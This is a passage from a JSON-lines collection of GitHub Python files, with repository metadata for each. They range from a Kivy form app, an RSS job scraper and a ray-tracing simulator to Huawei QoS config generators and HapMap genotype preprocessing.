summ=(pay_norm_obj+pay_over_obj)\n div=(summ/pay_norm_obj) #<- по формуле нужно делить вот так , первоначально делил на pay_over_obj\n result=((div**2)*coef)\n except ZeroDivisionError:\n return 0\n return result\nresult_array=alpha_water(alpha_of_city,factory_inpackt)\n\n#визуализация результатов\nx_values=result_array\ny_values=['Уренгой','Надым','Ямбург','Сургут','Тюмень','Оренбург','Астрахань','Красноярск']\ndata=[Bar(x=y_values,y=x_values)]\nx_axis_config={'title':'Предприятия'}\ny_axis_config={'title':'Рейтинг экологичности предприятия'}\nmy_layout=Layout(title=f'Результаты по даннымо от {len(factory_inpackt)} предприятий России',xaxis=x_axis_config,yaxis=y_axis_config)\noffline.plot({'data':data,'layout':my_layout},filename='eco.html')","repo_name":"SandERFills/ecology_spending","sub_path":"ecology_spending.py","file_name":"ecology_spending.py","file_ext":"py","file_size_in_byte":3788,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"9547122444","text":"from kivy.app import App\nfrom kivy.uix.button import Button\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.label import Label\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.screenmanager import Screen, ScreenManager\nfrom banco import *\n\nclass TelasPrincipais(Screen):\n def __init__(self,**kwargs):\n super(TelasPrincipais, self).__init__(**kwargs)\n \n layout = BoxLayout(orientation='vertical')\n self.lbl_sistema_Cadastro = Label (text =' Sistema de Cadastro ',font_size=40)\n self.btn_cadastrar = Button(text='Cadastrar', font_size=20,on_press=self.TelaCadastro)\n self.btn_editar = Button(text='Editar Cadastro', font_size=20,on_press=self.TelaEditar)\n self.btn_excluir = Button(text='Excluir Cadastro', font_size=20,on_press=self.TelaExcluir)\n self.btn_registro = Button(text='Registros', font_size=20,on_press=self.TelaRegistro)\n self.btn_sair = Button(text='Sair', font_size=20,on_press=App.get_running_app().stop)\n \n layout.add_widget(self.lbl_sistema_Cadastro)\n layout.add_widget(self.btn_cadastrar)\n layout.add_widget(self.btn_editar)\n layout.add_widget(self.btn_excluir)\n layout.add_widget(self.btn_registro)\n layout.add_widget(self.btn_sair)\n self.add_widget(layout)\n \n def TelaCadastro(self, *args):\n self.manager.current = 'Cadastrar'\n bd = BancoDados()\n \n def TelaEditar(self, *args):\n self.manager.current = 'Editar'\n bd = BancoDados()\n \n def TelaExcluir(self, *args):\n self.manager.current = 'excluir'\n bd = BancoDados()\n \n def TelaRegistro(self, *args):\n self.manager.current = 'Registros'\n bd = BancoDados()\n \n","repo_name":"DiegoYokoyama/codigos_das_aulas","sub_path":"aulas de novem e dezem/sistemaCadastro.py/TelasPrincipais.py","file_name":"TelasPrincipais.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"31640574045","text":"import feedparser\r\nimport pandas as pd\r\nimport time\r\nimport csv\r\nfrom bs4 import BeautifulSoup\r\n\r\n\r\ndef read_data():\r\n RSSFeed = feedparser.parse(\r\n \"https://www.upwork.com/ab/feed/jobs/rss?replace_with_your_rss_feed_link\")\r\n df = pd.DataFrame()\r\n\r\n df['Date'] = [post.published for post in RSSFeed.entries]\r\n df['Title'] = [post.title for post in RSSFeed.entries]\r\n df['Summary'] = [post.summary for post in RSSFeed.entries]\r\n df['Link'] = [post.link for post in RSSFeed.entries]\r\n df['Description'] = [post.description for post in RSSFeed.entries]\r\n return df\r\n\r\ndef edit_data():\r\n df = read_data()\r\n full_df = df['Description']\r\n\r\n t = []\r\n e = []\r\n o = []\r\n p = []\r\n for i in full_df:\r\n soup = BeautifulSoup(i, \"html.parser\")\r\n b = soup.find_all(\"b\")\r\n t.append([\"\".join(t.next_sibling.string.split()[1:]) for t in b][0])\r\n e.append([\"\".join(t.next_sibling.string.split()[1:]) for t in b][-1])\r\n o.append([\"\".join(t.next_sibling.string.split()[1:]) for t in b][2])\r\n p.append([\"\".join(t.next_sibling.string.split()[1:]) for t in b][-2])\r\n\r\n df['Price'] = t\r\n df['Country'] = e\r\n df['Category'] = o\r\n df['Skills'] = p\r\n df.to_csv('upwork.csv', mode='a', header=False, index=False)\r\n return df\r\n\r\n\r\nif __name__ == '__main__':\r\n while True:\r\n parser = read_data()\r\n print(read_data())\r\n print(edit_data())\r\n time.sleep(800)\r\n\r\n\r\n","repo_name":"haxamxam/WebScraping","sub_path":"rssfeed.py","file_name":"rssfeed.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"1344529659","text":"import uuid\nfrom typing import Any, AsyncContextManager, Dict, cast\n\nfrom eventual.abc.router import Guarantee, IntegrityGuard\nfrom eventual.model import EventPayload\nfrom tests.memory.work_unit import MemoryWorkUnit\n\n\nclass MemoryIntegrityGuard(IntegrityGuard[MemoryWorkUnit]):\n def __init__(self) -> None:\n self._handled_event_from_id: Dict[uuid.UUID, Dict[str, Any]] = {}\n self._dispatched_event_from_id: Dict[uuid.UUID, Dict[str, Any]] = {}\n\n def create_work_unit(self) -> AsyncContextManager[MemoryWorkUnit]:\n return MemoryWorkUnit.create()\n\n async def is_dispatch_forbidden(self, event_id: uuid.UUID) -> bool:\n return event_id in self._handled_event_from_id\n\n async def record_completion_with_guarantee(\n self, event_payload: EventPayload, guarantee: Guarantee\n ) -> uuid.UUID:\n event_id = event_payload.id\n if event_id in self._handled_event_from_id:\n raise ValueError\n\n self._handled_event_from_id[event_id] = dict(\n id=event_id, payload=event_payload, guarantee=guarantee\n )\n return event_id\n\n async def record_dispatch_attempt(self, event_payload: EventPayload) -> uuid.UUID:\n event_id = event_payload.id\n entry = {\"payload\": event_payload, \" event_id\": event_id}\n entry = self._dispatched_event_from_id.setdefault(event_id, entry)\n entry[\"__count__\"] = cast(int, entry.get(\"__count__\", 0)) + 1\n return event_id\n","repo_name":"eventual-dev/eventual","sub_path":"tests/memory/integrity_guard.py","file_name":"integrity_guard.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"17741104547","text":"import random\r\n\r\n\r\nclass Brta:\r\n def __init__(self):\r\n self.__license = { }\r\n \r\n \r\n def driving_test(self, email):\r\n score = random.randint(0,100)\r\n if score > 33:\r\n print(\"congrats, you have passed\")\r\n license_no = random.randint(5000,9999)\r\n self.__license[email] = license_no\r\n return license_no\r\n else:\r\n print(\"Sorry you failed\")\r\n return False\r\n \r\n \r\n def validate_license(self, email, license_no):\r\n for key, value in self.__license.items():\r\n if key == email and license_no == value:\r\n print(\"Yes it is a valid license\")\r\n return True\r\n \r\n return False","repo_name":"akhand08/GoRide-Ride-Sharing-App","sub_path":"brta.py","file_name":"brta.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"73887597816","text":"# Daily run script to update csv files and analyze curves for buy/sell criteria.\r\n# If a stock meets the criteria, send an email with the details and a plot to\r\n# email addresses in a text file.\r\n\r\n# Import packages\r\nfrom pandas.io.data import DataReader\r\nimport pandas as pd\r\nfrom datetime import datetime\r\n\r\n# Directory definitions\r\npth = 'C:/StockGrabber/'\r\npth2 = 'C:/StockGrabber/following/'\r\n\r\nstocks= open(pth+'stocks.txt','r')\r\n\r\nfor line in stocks:\r\n linestr= line.rstrip()\r\n ticker= pd.read_csv(pth2+linestr+'.csv', index_col=0)\r\n\r\nstocks.close() ","repo_name":"jpaulkramer/stockanalysis","sub_path":"updateanalyze.py","file_name":"updateanalyze.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70330203897","text":"#!/usr/bin/env python3\nimport os\nimport yaml\nimport re\nfrom termtools import TerminalTools as TT\nclass HuaweiConfig(object):\n def __init__(self):\n self.term = TT()\n with open('perfiles.yaml', 'r') as f:\n self.config = yaml.safe_load(f)\n self.profiles = []\n keys = self.config.keys()\n self.profile_names = keys\n for key in keys:\n mydict = self.config[key]\n mydict['nombre'] = key\n self.profiles.append(mydict)\n \n def GetProfiles(self):\n return self.profiles\n \n def HuaweiQoSProfile(self, nombre, download, upload, unidad):\n \"\"\"\n Genera los profiles de QoS en Huawei para aplicar a los clientes\n \"\"\"\n \n if not re.search('[km]', unidad.lower()):\n return None\n\n multiplicador_download = 1.25 * 1000\n multiplicador_upload = 1.25 * 1000\n multiplicador_pir_download = 1.25\n multiplicador_pir_upload = 1.25\n \n if unidad.lower() == 'k':\n multiplicador_upload = multiplicador_upload / 1000\n multiplicador_download = multiplicador_download / 1000\n \n cir_download = int(download * multiplicador_download)\n cir_upload = int(upload * multiplicador_upload)\n pir_download = int(cir_download * multiplicador_pir_download)\n pir_upload = int(cir_upload * multiplicador_pir_upload)\n \n self.term.Red(f'qos-profile {nombre}')\n self.term.Yellow(f' car cir {cir_download} pir {pir_download} green pass yellow pass red discard outbound')\n self.term.Yellow(f' car cir {cir_upload} pir {pir_upload} green pass yellow pass red discard inbound')\n print()\n \n def GetSQLQoSProfiles(self):\n \"\"\"\n Genera los INSERT SQL para agregar los profiles en la base de RADIUS\n \"\"\"\n\n for profile in self.profile_names:\n self.term.Green(f\"INSERT INTO radgroupreply (GroupName, Attribute, Op, Value) VALUES ('{profile}', 'Huawei-Qos-Profile-Name', ':=', '{profile}');\")\n \n print(f'\\n{len(self.profile_names)} INSERTs generados\\n')\n","repo_name":"aweher/bng-huawei","sub_path":"huaweibng.py","file_name":"huaweibng.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"11683716813","text":"from typing import List, Union\nimport pickle\nimport datetime\n\nimport numpy as np\nimport plotly.graph_objs as go\n\nfrom . import dtype, Plane, Light, time_it, default_plot_layout, merge_html_figs\nimport raytracepy.core as core\nfrom .plane import TransmissionTypes\n\n_figure_counter = 0\n\n\nclass BaseList:\n def __init__(self, objs: Union[List[Plane], Plane, List[Light], Light]):\n self._objs = []\n self.add(objs)\n\n def __repr__(self):\n return repr([obj.name for obj in self._objs])\n\n def __call__(self):\n return self._objs\n\n def __getitem__(self, item: Union[str, int]):\n \"\"\"\n Parameters\n ----------\n item: Union[str, int]\n int: index of item in list\n string: name of object\n\n Returns\n -------\n output:\n\n \"\"\"\n if isinstance(item, int):\n return self._objs[item]\n elif isinstance(item, str):\n obj = [obj for obj in self._objs if obj.name == item]\n if len(obj) == 0:\n raise ValueError(\"Item not found.\")\n elif len(obj) > 1:\n raise ValueError(\"Multi-items found.\")\n return obj[0]\n else:\n raise TypeError(\"Invalid Type. string or int only.\")\n\n def __len__(self) -> int:\n return len(self._objs)\n\n def __iter__(self):\n for obj in self._objs:\n yield obj\n\n def add(self, objs):\n if not isinstance(objs, list):\n objs = [objs]\n\n for obj in objs:\n if hasattr(obj, \"name\"):\n for item in self:\n if obj.name == item.name:\n raise ValueError(f\"'{obj.name}' name is already in use, or item was added twice.\")\n\n self._objs.append(obj)\n\n def remove(self, objs):\n if not isinstance(objs, list):\n objs = [objs]\n\n for obj in objs:\n if isinstance(obj, str):\n obj = [item for item in self._objs if item.name == obj]\n if len(obj) != 1:\n raise ValueError(\"Item not found.\")\n\n self._objs.pop(obj)\n\n\nclass RayTrace:\n def __init__(self,\n planes: Union[Plane, List[Plane]],\n lights: Union[Light, List[Light]],\n total_num_rays: int = 10_000,\n bounce_max: int = 0\n ):\n \"\"\"\n Main raytrace, simulation class\n\n Parameters\n ----------\n planes: Union[Plane, list[Planes]\n Planes\n lights: Union[Light, List[Light]]\n Lights\n total_num_rays: int\n total number of rays in simulation, It will be distributed among all lights based on power attribute\n bounce_max: int\n max number of bounces of a ray\n diffuse scattering requires at least 1\n\n \"\"\"\n self._run: bool = False\n self.planes = BaseList(planes)\n self.lights = BaseList(lights)\n\n self.total_num_rays = total_num_rays\n self._set_rays_per_light()\n self.bounce_max = bounce_max\n self.plane_matrix = None\n\n def __repr__(self):\n return f\"Simulation || run:{self._run} num_lights: {len(self.lights)}; num_planes: {len(self.planes)}\"\n\n # @property\n # def bounce_total(self):\n # return np.sum(self.traces[:, 0])\n #\n # @property\n # def bounce_avg(self):\n # return np.mean(self.traces[:, 0])\n\n def save_data(self, file_name: str = \"data\", _dir: str = None):\n \"\"\" Save class in pickle format. \"\"\"\n _date = datetime.datetime.now().strftime(\"%Y_%m_%d-%I_%M_%S_%p\")\n file_name = f\"{file_name}_{_date}\"\n if _dir is not None:\n file_name = _dir + \"\\\\\" + file_name\n\n with open(file_name + '.pickle', 'wb+') as file:\n pickle.dump(self, file)\n\n @staticmethod\n def load_data(file_name: str):\n \"\"\" Load Pickled class. \"\"\"\n with open(file_name, 'rb') as file:\n return pickle.load(file)\n\n def _set_rays_per_light(self):\n \"\"\" Give total_num_rays; distribute across all light by power.\"\"\"\n if not self._check_light_power_ray_num():\n self.total_num_rays = sum([light.num_rays for light in self.lights])\n return\n\n rays_per_power = self.total_num_rays / sum([light.power for light in self.lights])\n for light in self.lights:\n light.num_rays = int(light.power * rays_per_power)\n\n self.total_num_rays = sum([light.num_rays for light in self.lights])\n\n def _check_light_power_ray_num(self) -> bool:\n \"\"\" Return True if all lights have power attribute, or false if num_defined individually.\"\"\"\n out = True\n for light in self.lights:\n if light.num_rays is not None and out:\n out = False\n elif light.num_rays is None and not out:\n raise ValueError(f\"If one ray_num defined, they all need it. (light:{light.name} is missing num_ray.)\")\n\n return out\n\n #@time_it\n def run(self):\n \"\"\" Main Loop: Loop through each light and ray trace. \"\"\"\n self._generate_plane_matrix()\n\n for i, light in enumerate(self.lights):\n light.traces = np.ones((light.num_traces + 1, 1 + 3 + 3 + 3 * self.bounce_max), dtype=dtype) * -1\n # (the +1 will be cut as it may have bad data, xyz_bounce[start]+ xyz_bounce[end] + xyz_max + bounce\n # counter, num_traces)\n\n rays_dir = core.create_rays(light.theta_func, light.direction, light.phi_rad,\n light.num_rays)\n light.rays = rays_dir\n rays_dir = np.append(rays_dir, np.ones(light.num_rays).reshape((light.num_rays, 1)) * -1, axis=1)\n # last row is for plane id, as rays_dir gets turned into hits matrix\n\n hits, light.traces = core.trace_rays(light.position, rays_dir,\n self.plane_matrix, self.bounce_max, light.traces)\n\n light.traces = light.traces[:-1, :] # the last row could have bad data if it didn't hit a plane\n self._unpack_hits(hits)\n # print(f\"Calculations for {i + 1}/{len(self.lights)} complete.\")\n\n self._run = True\n\n def _generate_plane_matrix(self):\n \"\"\" Create matrix of plane data for efficient use in numba. \"\"\"\n for i, plane in enumerate(self.planes):\n if self.plane_matrix is None:\n self.plane_matrix = plane.generate_plane_array()\n else:\n self.plane_matrix = np.vstack((self.plane_matrix, plane.generate_plane_array()))\n\n if len(self.plane_matrix.shape) == 1:\n self.plane_matrix = self.plane_matrix.reshape((1, self.plane_matrix.shape[0]))\n\n def _unpack_hits(self, hits: np.ndarray):\n \"\"\"\n Unpack hit matrix from ray trace by placing hits by assigning hits to correct plane.\n Plane_id of -1 is a ray that hit no plane.\n \"\"\"\n for plane in self.planes:\n index_ = np.where(hits[:, -1] == plane.uid)\n if plane.hits is None:\n plane.hits = hits[index_][:, :-1]\n else:\n plane.hits = np.vstack((plane.hits, hits[index_][:, :-1]))\n\n # Stats ############################################################################################################\n def stats(self, print_: bool = True):\n \"\"\" Prints stats about simulation. \"\"\"\n text = \"\\n\"\n text += f\"Ray Trace Simulation Results (run: {self._run})\"\n text += \"\\n--------------------------------\"\n text += f\"\\nrays generated: {self.total_num_rays}\"\n text += f\"\\nmax bounces: {self.bounce_max}\"\n text += f\"\\nnumber of lights: {len(self.lights)}\"\n text += f\"\\nnumber of planes: {len(self.planes)}\"\n\n if print_:\n print(text)\n else:\n return text\n\n for light in self.lights:\n light.stats(print_)\n for plane in self.planes:\n plane.stats(print_)\n\n # Plotting #########################################################################################################\n def plot_traces(self, plane_hits: Union[str, list[str]] = \"all\", save_open: bool = True):\n \"\"\" Create 3d plot of light ray traces. \"\"\"\n global _figure_counter\n\n fig = go.Figure()\n self._add_planes(fig)\n self._add_lights_3D(fig)\n self._add_ray_traces(fig)\n self._add_hits(fig, num=self.lights[0].num_traces, plane_hits=plane_hits)\n\n # default_plot_layout(fig)\n if save_open:\n fig.write_html(f'traces3D{_figure_counter}.html', auto_open=True, include_plotlyjs='cdn')\n _figure_counter += 1\n\n return fig\n\n @staticmethod\n def _get_trace_plot_data(light: Light) -> np.ndarray:\n \"\"\"\"\"\"\n _out = np.empty((light.traces.shape[0]*(light.traces.shape[1]-1), 3))\n _out[:] = np.NaN\n\n _fill_level = 0\n for trace in light.traces:\n _bounce_count = int(trace[-1]) + 2 # 2 for start and end points\n _out[_fill_level:_fill_level + _bounce_count, 0] = trace[:-1][0::3][:_bounce_count] # x; get every 3rd one\n # , don't want last point as its the bounce count\n _out[_fill_level:_fill_level + _bounce_count, 1] = trace[1::3][:_bounce_count] # y; get every 3rd one\n _out[_fill_level:_fill_level + _bounce_count, 2] = trace[2::3][:_bounce_count] # z; get every 3rd one\n _fill_level += _bounce_count + 1 # the plus one is to leave a NaN in between\n\n return _out\n\n def _add_ray_traces(self, fig, **kwargs):\n \"\"\" Add traces of rays to 3d plot. \"\"\"\n kkwargs = {\n \"connectgaps\": False,\n \"line\": dict(color='rgb(255,255,0)', width=2),\n \"opacity\": 0.6,\n \"legendgroup\": \"traces\",\n \"mode\": 'lines'\n }\n if kwargs:\n kkwargs = kkwargs | kwargs\n\n counter = 0\n for light in self.lights:\n xyz = self._get_trace_plot_data(light)\n if counter == 0:\n line = go.Scatter3d(x=xyz[:, 0], y=xyz[:, 1], z=xyz[:, 2], name=\"traces\", **kkwargs)\n counter += 1\n else:\n line = go.Scatter3d(x=xyz[:, 0], y=xyz[:, 1], z=xyz[:, 2], showlegend=False, **kkwargs)\n fig.add_trace(line)\n\n def _add_planes(self, fig, **kwargs):\n \"\"\" Add planes to 3d plot. \"\"\"\n kkwargs = {\n \"showscale\": False,\n # \"surfacecolor\": [-1, -1, -1],\n \"colorscale\": 'Gray'\n }\n if kwargs:\n kkwargs = kkwargs | kwargs\n\n for plane in self.planes:\n alpha = 1\n if plane.transmit_type == TransmissionTypes.transmit:\n alpha = 0.4\n elif plane.transmit_type == TransmissionTypes.reflect:\n alpha = 0.2\n x, y, z = plane.plane_corner_xyz()\n surf = go.Surface(x=x, y=y, z=z, name=plane.name, opacity=alpha, **kkwargs)\n fig.add_trace(surf)\n\n def _add_hits(self, fig, num: int, plane_hits: Union[str, list[str]] = \"all\",):\n \"\"\" Add hits on surface for traces. \"\"\"\n if plane_hits == \"all\":\n for plane in self.planes:\n hits = go.Scatter3d(x=plane.hits[:num, 0], y=plane.hits[:num, 1], z=plane.hits[:num, 2], mode=\"markers\")\n fig.add_trace(hits)\n return\n\n if isinstance(plane_hits, str):\n plane_hits = [plane_hits]\n\n for plane_name in plane_hits:\n plane = self.planes[plane_name]\n hits = go.Scatter3d(x=plane.hits[:num, 0], y=plane.hits[:num, 1], z=plane.hits[:num, 2], mode=\"markers\",\n marker=dict(color='rgb(184,109,51)', size=5), opacity=0.6)\n fig.add_trace(hits)\n\n def _add_lights_3D(self, fig, **kwargs):\n \"\"\" Add lights to 3d plot. \"\"\"\n kkwargs = {\n \"opacity\": 0.3,\n \"showscale\": False,\n \"anchor\": \"tail\",\n \"sizeref\": 1,\n \"colorscale\": \"Hot\",\n \"legendgroup\": \"lights\"\n }\n if kwargs:\n kkwargs = kkwargs | kwargs\n\n counter = 0\n for light in self.lights:\n if counter == 0:\n cone = go.Cone(\n x=[float(light.position[0])],\n y=[float(light.position[1])],\n z=[float(light.position[2])],\n u=[float(light.direction[0])],\n v=[float(light.direction[1])],\n w=[float(light.direction[2])],\n name=\"lights\",\n showlegend=True,\n **kkwargs)\n counter += 1\n else:\n cone = go.Cone(\n x=[float(light.position[0])],\n y=[float(light.position[1])],\n z=[float(light.position[2])],\n u=[float(light.direction[0])],\n v=[float(light.direction[1])],\n w=[float(light.direction[2])],\n showlegend=False,\n **kkwargs)\n fig.add_trace(cone)\n # light.plot_add_rays(fig)\n\n def _add_lights_2D(self, fig, **kwargs):\n \"\"\" Add lights to 2d plot. \"\"\"\n kkwargs = {\n \"marker\": dict(color='rgb(0,0,0)', size=10, symbol=\"x\")\n }\n if kwargs:\n kkwargs = kkwargs | kwargs\n\n x = np.empty(len(self.lights))\n y = np.empty_like(x)\n for i, light in enumerate(self.lights):\n x[i] = light.position[0]\n y[i] = light.position[1]\n\n points = go.Scatter(x=x, y=y, mode='markers', **kkwargs)\n fig.add_trace(points)\n\n def plot_light_positions(self, mode: str = \"2d\"):\n \"\"\"\n :param mode:\n :return: plot\n \"\"\"\n fig = go.Figure()\n if mode == \"2d\":\n self._add_lights_2D(fig)\n elif mode == \"3d\":\n self._add_lights_3D(fig)\n else:\n raise ValueError(\"'2d' or '3d' only for mode.\")\n\n default_plot_layout(fig)\n return fig\n\n @staticmethod\n def _plot_rays_cone(rays):\n fig = go.Figure()\n kwargs = {\n \"opacity\": 1,\n \"showscale\": False,\n \"anchor\": \"tail\",\n }\n\n for rays in rays:\n cone = go.Cone(\n x=[0], y=[0], z=[0],\n u=[float(rays[0])], v=[float(rays[1])], w=[float(rays[2])],\n **kwargs)\n fig.add_trace(cone)\n default_plot_layout(fig)\n return fig\n\n def plot_report(self, file_name: str = \"report.html\", auto_open: bool = True, plot_rdf: bool = False):\n figs = [\n self._html_stats(),\n self.plot_traces(plane_hits=\"ground\", save_open=False)\n ]\n for plane in self.planes:\n figs += plane.plot_report(auto_open=False, write=False, plot_rdf=plot_rdf)\n\n figs.append(self._plane_light_stats())\n merge_html_figs(figs, file_name, auto_open=auto_open)\n\n def _html_stats(self) -> str:\n text = self.stats(print_=False)\n text = text.replace(\"\\n\", \"
\")\n text = text.replace(\"\\t\", \" \")\n\n return f\"

RayTrace Simulation

\" + \"

\" + text + \"

\"\n\n def _plane_light_stats(self) -> str:\n text = \"\"\n for light in self.lights:\n text += light.stats(False)\n\n text = text.replace(\"\\n\", \"
\")\n text = text.replace(\"\\t\", \" \")\n\n return f\"

Light data

\" + \"

\" + text + \"

\"\n\n\n","repo_name":"dylanwal/raytracepy","sub_path":"src/raytracepy/raytrace.py","file_name":"raytrace.py","file_ext":"py","file_size_in_byte":15708,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"38258046498","text":"#构建一颗二叉树\n\nclass TreeNode:\n def __init__(self,x):\n self.val = x\n self.left = None\n self.right = None\n\ndef create(root,lists,i):\n if i 0:\n i = (i + 1) % len(m)\n m[i] += 1\n val -= 1\n\n rounds += 1\n oldlen = len(seen)\n seen.add(snapshot(m))\n if len(seen) == oldlen:\n return (rounds, m)\n\n\ndef solve2(m):\n _, m = solve(m)\n start = snapshot(m)\n rounds = 0\n\n while True:\n val = max(m)\n i = m.index(val)\n m[i] = 0\n while val > 0:\n i = (i + 1) % len(m)\n m[i] += 1\n val -= 1\n\n rounds += 1\n if snapshot(m) == start:\n return rounds\n\n\nif __name__ == '__main__':\n m = stdin.read().strip().split()\n print(solve2(m))\n","repo_name":"jonstaryuk/advent-of-code","sub_path":"2017/day06.py","file_name":"day06.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"8470275096","text":"'''\nCreated on 2014-2-9\n\n@author: lenovo\n'''\nfrom __future__ import print_function\nfrom collections import OrderedDict\nfrom numpy import *\n\ndef alleleFrequencyProcess(alleleFreqsPath):\n alleleFreqs = {}\n afFile = open(alleleFreqsPath)\n header = afFile.readline()\n charSet = {\"T\", \"A\", \"C\", \"G\"}\n line = afFile.readline()\n while line != \"\":\n allele = line.split()\n line = afFile.readline()\n if float(allele[-6]) > float(allele[-3]):\n majorAlleleIndex = -7\n minorAlleleIndex = -4\n else:\n majorAlleleIndex = -4\n minorAlleleIndex = -7\n if allele[majorAlleleIndex] not in charSet or allele[minorAlleleIndex] not in charSet:\n continue\n alleleFreqs[int(allele[2])] = [allele[majorAlleleIndex], float(allele[majorAlleleIndex + 1]), allele[minorAlleleIndex], float(allele[minorAlleleIndex + 1])]\n afFile.close()\n return alleleFreqs\n\n#range(100000000) needs 1.6G\n#range(10000000) needs 165M\ndef ldProcess(ldPath, alleleFreqs):\n ld = []\n ldAlleles = set()\n ldFile = open(ldPath)\n firstAlleleIndex = 0\n secondAlleleIndex = 1\n DPrimeIndex = 5\n r2Index = 6\n line = ldFile.readline()\n while line != \"\":\n record = line.split()\n line = ldFile.readline()\n pos1 = int(record[firstAlleleIndex])\n pos2 = int(record[secondAlleleIndex])\n if (not alleleFreqs.has_key(pos1)) or (not alleleFreqs.has_key(pos2)):\n continue\n r2 = float(record[r2Index])\n p = [alleleFreqs[pos1][1], alleleFreqs[pos1][3]]\n q = [alleleFreqs[pos2][1], alleleFreqs[pos2][3]]\n D_abs = math.sqrt(r2*p[0]*p[1]*q[0]*q[1])\n \n DPrime = float(record[DPrimeIndex])\n \n positive = math.fabs(D_abs / min(p[0]*q[1], p[1]*q[0]) - DPrime)\n negative = math.fabs(D_abs / min(p[0]*q[0], p[1]*q[1]) - DPrime)\n if positive < negative:\n D = D_abs\n else:\n D = -D_abs\n ld.append([pos1, pos2, D])\n ldAlleles.add(pos1)\n ldAlleles.add(pos2)\n ldFile.close()\n return ld, ldAlleles\n\ndef genotypesProcess(genotypesPath, alleleFreqs, ldAlleles):\n genotypes = {}\n gtFile = open(genotypesPath)\n header = gtFile.readline().split()\n alleleValueIndex = 1\n posIndex = 3\n patientIndex = 0\n while not (header[patientIndex].startswith('NA')):\n patientIndex += 1\n line = gtFile.readline()\n while line != \"\":\n record = line.split()\n line = gtFile.readline()\n pos = int(record[posIndex])\n if not alleleFreqs.has_key(pos) or pos not in ldAlleles:\n continue\n alleleValues = record[alleleValueIndex].split('/')\n if alleleFreqs[pos][0] == alleleValues[1]:\n tmp = alleleValues[1]\n alleleValues[1] = alleleValues[0]\n alleleValues[0] = tmp\n for i in range(patientIndex, len(header)):\n if record[i] == 'NN':\n tmp0 = alleleFreqs[pos][0] if random.random() < alleleFreqs[pos][1] else alleleFreqs[pos][2]\n tmp1 = alleleFreqs[pos][0] if random.random() < alleleFreqs[pos][1] else alleleFreqs[pos][2]\n record[i] = tmp0+tmp1\n convertToNum = {alleleValues[0]*2:0, alleleValues[0]+alleleValues[1]:1, alleleValues[1]+alleleValues[0]:1, alleleValues[1]*2:2}\n try:\n genotypes[pos] = [convertToNum[record[i]] for i in range(patientIndex, len(header))]\n except KeyError:\n print(pos)\n return\n gtFile.close()\n return genotypes\n \ndef saveNewData(genotypes, alleleFreqs, ld, newGenotypesPath, newAlleleFreqsPath, newLdPath):\n newGtFile = open(newGenotypesPath, 'w')\n newAfFile = open(newAlleleFreqsPath, 'w')\n newLdFile = open(newLdPath, 'w')\n \n newGtFile.write(\"\\n\".join([\"\\t\".join([str(i) for i in [item[0]] + item[1]]) for item in sorted(genotypes.items(), key = lambda item: item[0])]))\n genotypes = {}\n newAfFile.write(\"\\n\".join([\"\\t\".join([str(i) for i in [item[0]] + item[1]]) for item in sorted(alleleFreqs.items(), key = lambda item: item[0])]))\n alleleFreqs = {}\n for ld_item in ld:\n newLdFile.write(\"\\t\".join([str(i) for i in ld_item]) + \"\\n\")\n ld = []\n newGtFile.close()\n newAfFile.close()\n newLdFile.close()\n\ndef processAllChroms():\n for i in range(10, 11):\n alleleFreqs = {}\n ld = []\n ldAlleles = set()\n genotypes = {}\n alleleFreqs = alleleFrequencyProcess(\"./hapmap/chr%s/allele_freqs_chr%s_CEU_phase3.2_nr.b36_fwd.txt\" % (i, i))\n ld, ldAlleles = ldProcess(\"./hapmap/chr%s/ld_chr%s_CEU.txt\" % (i, i), alleleFreqs)\n genotypes = genotypesProcess(\"./hapmap/chr%s/genotypes_chr%s_CEU_phase3.2_consensus.b36_fwd.txt\" % (i, i), alleleFreqs, ldAlleles)\n \n saveNewData(genotypes, alleleFreqs, ld, \"./hapmap/chr%s/big_genotypes_chr%s_CEU.txt\" % (i, i), \"./hapmap/chr%s/tmp_allele_freqs_chr%s_CEU.txt\" % (i, i), \"./hapmap/chr%s/tmp_ld_chr%s_CEU.txt\" % (i, i))\n\n\nif __name__ == '__main__':\n processAllChroms()\n# alleleFreqs = alleleFrequencyProcess(\"./hapmap/allele_freqs_chr22_CEU_phase3.2_nr.b36_fwd.txt\")\n# ld, ldAlleles = ldProcess(\"./hapmap/ld_chr22_CEU.txt\", alleleFreqs)\n# genotypes = genotypesProcess(\"./hapmap/genotypes_chr22_CEU_phase3.2_consensus.b36_fwd.txt\", alleleFreqs, ldAlleles)\n# saveNewData(genotypes, alleleFreqs, ld, \"./hapmap/new_genotypes_chr22_CEU.txt\", \"./hapmap/new_allele_freqs_chr22_CEU.txt\", \"./hapmap/new_ld_chr22_CEU.txt\")\n","repo_name":"zicofish/GenoGuard","sub_path":"genoguard/dat/dataPreprocess.py","file_name":"dataPreprocess.py","file_ext":"py","file_size_in_byte":5538,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"} +{"seq_id":"4345003992","text":"from flask import Flask, request, jsonify\nfrom flask_cors import CORS\nimport json\n\napp = Flask(__name__)\nCORS(app)\n\nwheel_balancing_spaces = [{'id': 1, 'status': 'free'}, {'id': 2, 'status': 'free'}, {'id': 3, 'status': 'free'}]\n\n# loading data at the beginning\ntry:\n with open('wheel_balancing_spaces.json', 'r') as f:\n wheel_balancing_spaces = json.load(f)\nexcept 